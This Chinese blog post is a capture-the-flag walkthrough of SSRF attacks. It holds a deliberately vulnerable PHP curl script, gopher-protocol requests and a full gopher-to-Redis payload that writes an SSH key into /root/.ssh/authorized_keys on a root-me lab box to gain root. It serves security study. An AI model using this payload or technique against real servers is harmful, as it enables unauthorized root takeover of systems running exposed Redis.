渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解

20200424

1.SSRF测试方法

1.1 漏洞环境:PHP脚本、Windows

1.2 利用工具:nc、bash

1.3 测试过程

    首先采用如下脚本创建一个PHP的服务端:
<?PHP $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); curl_close($ch); ?>

在PHPStudy的WWW目录下新建一个ssrf.php的文本文档,将上面这段PHP脚本复制粘贴到里面并保存
在这里插入图片描述在这里插入图片描述

开启PHPStudy的web服务:
在这里插入图片描述

然后下载并在cmd中打开nc.exe监听软件
在这里插入图片描述

输入命令:nc.exe -lvvp 2233,此时nc进入监听状态:
在这里插入图片描述

然后从浏览器中访问如下链接: http://localhost/ssrf.php?url=http://127.0.0.1:2233
在这里插入图片描述

然后就可以看到nc监听到了版本信息,监听端可以看到来自localhost的请求,请求目标为127.0.0.1的2233端口。:
在这里插入图片描述

使用gopher协议来查看协议,访问:http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_test
在这里插入图片描述

利用gopher发送POST的请求,访问:http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword
在这里插入图片描述

再看nc监听到了账号和密码:
在这里插入图片描述在这里插入图片描述

2. 实战演示2.1 漏洞环境

Rootme CTF all the day2.2 漏洞地址
https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day/2.3 利用工具
Burp2.4 漏洞介绍
SSRF+redis 获取内网主机权限,利用SSRF来对redis的未授权访问执行命令。从而达到获取主机权限的目的2.5 测试过程
访问目标地址,如果没有账号,需要创建账号点击右上的绿色小加号来创建账号,创建完成后回到此页面。
注意:在创建账号时需要一个邮箱,这里建议使用临时邮箱,最好不要填自己的真实邮箱(因为进这些黑客网站别留下真实信息,防止自己的信息日后被别人利用)
申请临时邮箱的网址:http://24mail.chacuo.net/
在这里插入图片描述

申请好邮箱ID后,手动刷新,过一会儿就会收到一封邮件,点击邮件进入:
在这里插入图片描述在这里插入图片描述

找到一个处于none的虚拟机,点击房间名,如下的ctf04
在这里插入图片描述

进入房间后,选择需要创建的虚拟机,选择SSRF Box,点击保存,选择start the game:
在这里插入图片描述

过一段时间的等待后,会显示如下信息。
在这里插入图片描述

访问 ctf04.root-me.org 就可以看到启动的虚拟环境了
在这里插入图片描述

当然,如果在创建虚拟机之前,看到其他的房间有人已经创建了SSRF Box我们也可以加入此玩家的房间,点击房间名,进入房间后点击右上角的Join the game。稍等片刻就可以加入到游戏中,根据提示访问对应的地址就可以开始测试啦。
访问地址后可以看到页面显示一个输入框,需要输入url参数,开始抓包。
在这里插入图片描述

尝试在页面输入百度地址https://www.baidu.com后,页面会把百度首页加载进此页面中。
在这里插入图片描述

读取系统文件:
在这里插入图片描述

使用burp的Intruder模块,来探测开放的服务端口,开放则显示OK,不开放则显示Connection refused。
在这里插入图片描述

探测可知内网开放了6379端口redis服务,尝试利用SSRF对redis执行未授权漏洞,此处简单科普一下redis漏洞影响。
详细内容可以查看文章:https://www.freebuf.com/vuls/162035.html
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
因此,此漏洞在没有配置密码的情况下可以利用SSRF来绕过绑定在本地的限制,从而实现在外网攻击内网应用。

1)利用redis来写ssh密钥

此处利用ssh生成一对公私钥,生成的默认文件为id_rsa.pub和id_rsa。把id_rsa.pub上传至服务器即可。我们利用redis把目录设置为ssh目录下:
根据网上写密钥有两种协议可以使用,一种是dict,一种是gopher。测试使用dict协议写不成功,写入后不能连接,此处使用gopher写密钥。
使用的payload为:
gopher://127.0.0.1:6379/_3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU+RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i…2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9%0a%0a%0a%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

payload由joychou的反弹shell修改而来,主要就是替换了写入文件的位置和文件内容。然后修改文件的长度。

先使用命令ssh-keygen,生成ssh密钥对:
在这里插入图片描述

找到刚刚生成的ssh密钥对文件:
在这里插入图片描述

打开id_rsa.pub文件:
在这里插入图片描述

修改上面的payload代码–
1.原始未修改的:
在这里插入图片描述在这里插入图片描述

2.复制刚刚在cmd中通过ssh-keygen生成的密钥:
在这里插入图片描述

3.替换掉gopher代码中框住的代码:
在这里插入图片描述

4.然后复制替换后的整段代码粘贴到靶场的搜索框中:
在这里插入图片描述在这里插入图片描述

再按下enter回车键

然后回到cmd窗口,然后输入如下的命令,尝试登录,最后登录成功,获得了root权限:
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值